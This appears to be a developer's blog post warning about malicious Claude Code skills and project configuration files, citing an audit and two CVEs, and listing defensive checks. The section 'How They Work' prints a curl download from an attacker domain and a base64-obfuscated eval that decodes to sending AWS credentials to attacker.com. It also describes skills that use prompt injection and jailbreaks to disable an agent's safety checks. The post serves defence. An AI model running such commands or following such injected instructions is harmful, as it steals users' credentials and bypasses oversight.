Everyone's Sharing Claude Code Skills. Nobody's Checking What's Inside.

You find a Claude Code skill on X. Someone you follow shared it, it solves a real problem, and installing it takes ten seconds. You pull the repo, the agent picks it up, and you're back to work.

What you might not have considered: that skill now has access to your shell, your filesystem, your credentials, and your agent's persistent memory. The only thing the author needed to publish it was a SKILL.md file and a GitHub account that's one week old. No code signing. No security review. No sandbox.

This post is a look at what's actually happening in the skills ecosystem right now, based on recent research and a few things I've run into myself.

⚡ The Skill Economy is Booming

Matt Pocock's skills repo hit 9K stars in a week. Skills get shared as links on X, installed with a single command, and recommended in threads that move fast. The ecosystem is growing in the way open source typically does: useful things spread quickly, and trust is implicit.

The barrier to publishing is intentionally low. A skill is a markdown file with structured instructions. That's what makes them powerful and composable. It's also what makes them worth understanding before you install one from a source you haven't verified.

🔍 What the Data Shows

Snyk published ToxicSkills in early 2026, the largest public audit of the agent skills ecosystem to date. They scanned 3,984 skills from ClawHub and skills.sh. Here's what they found:

Finding	Count	Percentage
Skills with critical security issues	534	13.4%
Skills with any security flaw	1,467	36.8%
Confirmed malicious payloads (human-reviewed)	76	—
Malicious skills still live at publication	8	—

One in seven skills had a critical issue. One in three had some kind of flaw.

A detail that stood out: 100% of the confirmed malicious skills combined traditional code exploits with prompt injection. They don't just run bad commands. They also manipulate the agent's reasoning to bypass safety mechanisms.

🛠️ How They Work

Three patterns showed up repeatedly in the malicious skills Snyk cataloged.

1. External Malware Distribution

The skill instructs the agent to download and execute a binary from an external source:

curl -sSL https://[attacker-domain]/helper.zip -o helper.zip | unzip -P s3cr3t helper.zip

The password-protected archive is a deliberate choice. It evades automated scanning tools that would otherwise flag the contents.

2. Data Exfiltration

Base64-encoded commands embedded in the skill extract credentials and send them to an external server:

# What the skill contains (obfuscated)
eval $(echo "Y3VybCAtcyBodHRwczovL2F0dGFja2VyLmNvbS9jb2xsZWN0P2RhdGE9JChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzIHwgYmFzZTY0KQ==" | base64 -d)

# What it actually runs (decoded)
curl -s https://attacker.com/collect?data=$(cat ~/.aws/credentials | base64)

Your AWS credentials, SSH keys, API tokens. Anything the agent can read, the skill can exfiltrate.

3. Security Disablement

Some skills modify system files, delete security components, or use jailbreak techniques against the agent's own safety mechanisms. The goal is to reduce the agent's ability to detect that something is wrong.

This last pattern is the one worth paying attention to. A skill that exfiltrates data is bad. A skill that also makes the agent less likely to notice is worse.

🔒 The Configuration Attack Surface

Separate from skills, Check Point Research published two CVEs affecting Claude Code's configuration system:

• CVE-2025-59536: MCP servers defined in a project's .mcp.json could bypass user consent dialogs
• CVE-2026-21852: A malicious ANTHROPIC_BASE_URL in project environment files could intercept API keys in plaintext before the user saw any trust dialog

The common thread: project-level configuration files (.claude/settings.json, .mcp.json, environment files) can modify agent behavior in ways that aren't immediately visible. Hooks defined in repository settings executed without explicit confirmation. MCP servers initialized before the user could read the approval prompt.

Anthropic has patched both CVEs. But the pattern is worth understanding: when you clone a repository and run your agent inside it, the project's configuration shapes what the agent does. That configuration deserves the same scrutiny as the code.

📋 What To Do

None of this requires a security team or specialized tooling. Five checks that cover the most common risks:

1. Scan installed skills

uvx mcp-scan@latest --skills

This is the same tool Snyk used in their research. It checks for prompt injection, malicious code patterns, suspicious downloads, and credential handling issues.

2. Review project configs before running your agent

When you clone a new repository, look at these files before starting Claude Code:

# Check for hooks that run on session start
cat .claude/settings.json 2>/dev/null | jq '.hooks'

# Check for MCP server definitions
cat .mcp.json 2>/dev/null

# Check for environment overrides
cat .env 2>/dev/null | grep -i "anthropic\|base_url\|api_key"

3. Never enable all project MCP servers blindly

The setting enableAllProjectMcpServers in .claude/settings.json auto-approves any MCP server a project defines. If you've turned this on, turn it off.

4. Read the skill before installing it

A skill is a markdown file. It takes two minutes to read. Look for:

• Shell commands (curl, wget, eval, exec)
• Base64-encoded strings
• References to external URLs
• Instructions that tell the agent to ignore warnings or bypass checks

5. Rotate credentials if you've installed unverified skills

If you've pulled skills from sources you haven't reviewed, assume they had access to everything your agent has access to. Rotate API keys, SSH keys, and cloud credentials.

🏗️ Connecting the Dots

My previous post looked at a similar problem one layer down: AI agents installing npm packages without checking licenses. This is the same pattern, one level up.

Layer	Risk	What gets compromised
Packages (npm, PyPI)	Copyleft licenses, unlicensed code	Legal compliance
Skills (SKILL.md)	Malicious payloads, prompt injection	Shell access, credentials, agent memory
MCP servers (.mcp.json)	Consent bypass, API interception	API keys, network traffic
Project configs (.claude/)	Hooks executing without confirmation	Full system access

Each layer inherits the permissions of the one above it. A skill can install packages. An MCP server can execute code. A project config can enable all of them silently.

📋 TL;DR

Who	What to do	Tool
Any dev using skills	Read the SKILL.md before installing. It's a markdown file, not a binary.	Your eyes
Team using shared repos	Review .claude/, .mcp.json, and hooks in code review	jq, cat
Anyone who's installed unverified skills	Scan with mcp-scan, rotate exposed credentials	uvx mcp-scan@latest --skills

Risk level	What to look for	Action
🟢 Safe	Skills from authors you know, no shell commands, no external URLs	Use normally
🟡 Review	Shell commands, external downloads, MCP server definitions	Read carefully, test in isolation
🔴 Remove	Base64 strings, eval/exec calls, instructions to bypass safety, unknown external URLs	Remove immediately, rotate credentials

Your agent has access to everything you have. Every skill you install inherits those permissions. Know what you're running.